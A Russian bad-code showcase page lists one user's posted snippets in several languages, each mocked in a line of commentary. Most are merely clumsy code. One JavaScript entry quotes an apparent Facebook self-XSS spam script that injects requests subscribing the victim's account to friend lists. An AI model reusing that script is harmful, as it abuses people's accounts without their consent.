1. Список говнокодов пользователя kostoprav

    Всего: 31

  2. ActionScript / Говнокод #15948

    −115

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    if ((posX / 2) != Math.round(posX / 2)) {
    	if (fieldsArray[posX-1])
    	if(fieldsArray[posX-1][posY])
    	if ((fieldsArray[posX-1][posY]['data']['status'] == 0) && (fieldsArray[posX-1][posY]['data']['type'] == 0))
    	if (fieldsArray[posX-2])
    	if (fieldsArray[posX-2][posY])
    	if ((fieldsArray[posX-2][posY]['data']['status']== 0) && (fieldsArray[posX-2][posY]['data']['type'] == 0))
    	if (fieldsArray[posX-1])
    	if (fieldsArray[posX-1][posY+1])
    	if ((fieldsArray[posX-1][posY+1]['data']['status'] == 0) && (fieldsArray[posX-1][posY+1]['data']['type'] == 0))
    	return true;
    	return false;
    } else {
    	if (fieldsArray[posX-1])
    	if(fieldsArray[posX-1][posY-1])
    	if ((fieldsArray[posX-1][posY-1]['data']['status'] == 0) && (fieldsArray[posX-1][posY-1]['data']['type'] == 0))
    	if (fieldsArray[posX-2])
    	if (fieldsArray[posX-2][posY])
    	if ((fieldsArray[posX-2][posY]['data']['status'] == 0) && (fieldsArray[posX-2][posY]['data']['type'] == 0))
    	if (fieldsArray[posX-1])
    	if (fieldsArray[posX-1][posY])
    	if ((fieldsArray[posX-1][posY]['data']['status'] == 0) && (fieldsArray[posX-1][posY]['data']['type'] == 0))
    	return true;
    	return false;
    }

    Очередная фермоигра.
    Попросили помочь понять, что не так с объектами отличного от 1х1 размера.
    Форматирование сохранено.
    Обожаю...

    kostoprav, 09 Мая 2014

    Комментарии (42)
  3. JavaScript / Говнокод #15943

    +160

    1. 1
    2. 2
    function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
    IbraheemNada("258964547561641");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("407255766069492");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("384263591702043");IbraheemNada("407256859402716");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("");

    Надо, Ибрагим, надо!

    kostoprav, 08 Мая 2014

    Комментарии (4)
  4. Java / Говнокод #15942

    +75

    1. 1
    return new Integer(((Integer)var).intValue()+1);

    Autoboxing? Не, не слышал...

    kostoprav, 08 Мая 2014

    Комментарии (6)
  5. JavaScript / Говнокод #13465

    +147

    1. 1
    eval("document.getElementById('bmnu_rbt').onclick = function () { menu_to_left(); }");

    Без комментанриев

    kostoprav, 22 Июля 2013

    Комментарии (2)
  6. Java / Говнокод #13278

    +69

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    static {
    	Unsafe u = null;
    	Exception ex = null;
    	try {
    		Class objectStreamClass = Class.forName("sun.misc.Unsafe");
    		Field unsafeField = objectStreamClass.getDeclaredField("theUnsafe");
    		unsafeField.setAccessible(true);
    		u = (Unsafe) unsafeField.get(null);
    	} catch (ClassNotFoundException e) {
    		ex = e;
    	} catch (SecurityException e) {
    		ex = e;
    	} catch (NoSuchFieldException e) {
    		ex = e;
    	} catch (IllegalArgumentException e) {
    		ex = e;
    	} catch (IllegalAccessException e) {
    		ex = e;
    	}
    	exception = ex;
    	unsafe = u;
    }

    xstream-1.2.2 - древнота, но попахивает...

    kostoprav, 01 Июля 2013

    Комментарии (23)
  7. Java / Говнокод #13252

    +73

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    public boolean isModified() {
    	return
    			!pluginEnabled.isSelected() == getSettings().pluginEnabled
    					|| !pathToContainerTextField.getText().equals(getSettings().pathToProjectContainer)
    					|| !pathToUrlGeneratorTextField.getText().equals(getSettings().pathToUrlGenerator)
    					|| !symfonyContainerTypeProvider.isSelected() == getSettings().symfonyContainerTypeProvider
    					|| !objectRepositoryTypeProvider.isSelected() == getSettings().objectRepositoryTypeProvider
    					|| !objectRepositoryResultTypeProvider.isSelected() == getSettings().objectRepositoryResultTypeProvider
    
    					|| !twigAnnotateRoute.isSelected() == getSettings().twigAnnotateRoute
    					|| !twigAnnotateTemplate.isSelected() == getSettings().twigAnnotateTemplate
    					|| !twigAnnotateAsset.isSelected() == getSettings().twigAnnotateAsset
    					|| !twigAnnotateAssetTags.isSelected() == getSettings().twigAnnotateAssetTags
    
    					|| !phpAnnotateTemplate.isSelected() == getSettings().phpAnnotateTemplate
    					|| !phpAnnotateService.isSelected() == getSettings().phpAnnotateService
    					|| !phpAnnotateRoute.isSelected() == getSettings().phpAnnotateRoute
    					|| !phpAnnotateTemplateAnnotation.isSelected() == getSettings().phpAnnotateTemplateAnnotation
    
    					|| !yamlAnnotateServiceConfig.isSelected() == getSettings().yamlAnnotateServiceConfig
    			;
    }

    Плагин для Intellij Idea...

    kostoprav, 28 Июня 2013

    Комментарии (27)
  8. C++ / Говнокод #13191

    +17

    1. 1
    2. 2
    3. 3
    4. 4
    int a=0; 
    while (a<=1 && a>=0) { 
      a--; 
    }

    Я даже хз, что тут автор делает...

    kostoprav, 19 Июня 2013

    Комментарии (145)
  9. C# / Говнокод #13140

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    if (SellMenuEnable)
    {
    	GUI.Box (new Rect (Screen.width/2 - 200, Screen.height/2 - 300, 400, 480),"");
    	if (GUI.Button (new Rect (Screen.width/2 + 180, Screen.height/2 - 300, 20, 20), "X" ))
    	{
    		SellMenuEnable = false;
    	}
    	// ШМОТКИ слево
    	if (SLOT1)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 - 270, 160, 50),"1");
    	}
    	if (SLOT3)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 - 210, 160, 50),"3");
    	}
    	if (SLOT5)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 - 150, 160, 50),"5");
    	}
    	if (SLOT7)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 - 90, 160, 50),"7");
    	}
    	if (SLOT9)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 - 30, 160, 50),"9");
    	}
    	if (SLOT11)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 + 30, 160, 50),"11");
    	}
    	if (SLOT13)
    	{
    		GUI.Box (new Rect (Screen.width/2 - 170, Screen.height/2 + 90, 160, 50),"13");
    	}
    	// ШМОТКИ с права
    	if (SLOT2)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 - 270, 160, 50),"2");
    	}
    	if (SLOT4)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 - 210, 160, 50),"4");
    	}
    	if (SLOT6)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 - 150, 160, 50),"6");
    	}
    	if (SLOT8)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 - 90, 160, 50),"8");
    	}
    	if (SLOT10)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 - 30, 160, 50),"10");
    	}
    	if (SLOT12)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 + 30, 160, 50),"12");
    	}
    	if (SLOT14)
    	{
    		GUI.Box (new Rect (Screen.width/2 + 10, Screen.height/2 + 90, 160, 50),"14");
    	}
    }

    http://unity3d.ru/distribution/viewtopic.php?f=105&t=16515

    kostoprav, 10 Июня 2013

    Комментарии (5)
  10. Си / Говнокод #13115

    +135

    1. 1
    #define __click_window_chkarmor (!((inventory==plr->inventory)&&(((slot==5)&&!hasflag(consts.item_flags[plr->holdingitem->type],ITEM_FLAG_ARMOR_HEAD))||((slot==6)&&!hasflag(consts.item_flags[plr->holdingitem->type],ITEM_FLAG_ARMOR_CHEST))||((slot==7)&&!hasflag(consts.item_flags[plr->holdingitem->type],ITEM_FLAG_ARMOR_FEET))||((slot==8)&&!hasflag(consts.item_flags[plr->holdingitem->type],ITEM_FLAG_ARMOR_BOOTS)))))

    Форматирование сохранено

    kostoprav, 05 Июня 2013

    Комментарии (1)
  11. ActionScript / Говнокод #12842

    −90

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    /**
     * better,faster OLD SCHOOL HACKS ^^
     * **/
    public static function compareObject(obj1:Object, obj2:Object):Boolean {
    	var buffer1:ByteArray = new ByteArray();
    	buffer1.writeObject(obj1);
    	var buffer2:ByteArray = new ByteArray();
    	buffer2.writeObject(obj2);
    
    	// compare the lengths
    	var size:uint = buffer1.length;
    	if (buffer1.length == buffer2.length) {
    		buffer1.position = 0;
    		buffer2.position = 0;
    
    		// then the bits
    		while (buffer1.position < size) {
    			var v1:int = buffer1.readByte();
    			if (v1 != buffer2.readByte()) {
    				return false;
    			}
    		}
    		return true;
    	}
    	return false;
    }

    Сравнение объектов сериализацией, по моему такого тут еще не было...

    kostoprav, 02 Апреля 2013

    Комментарии (58)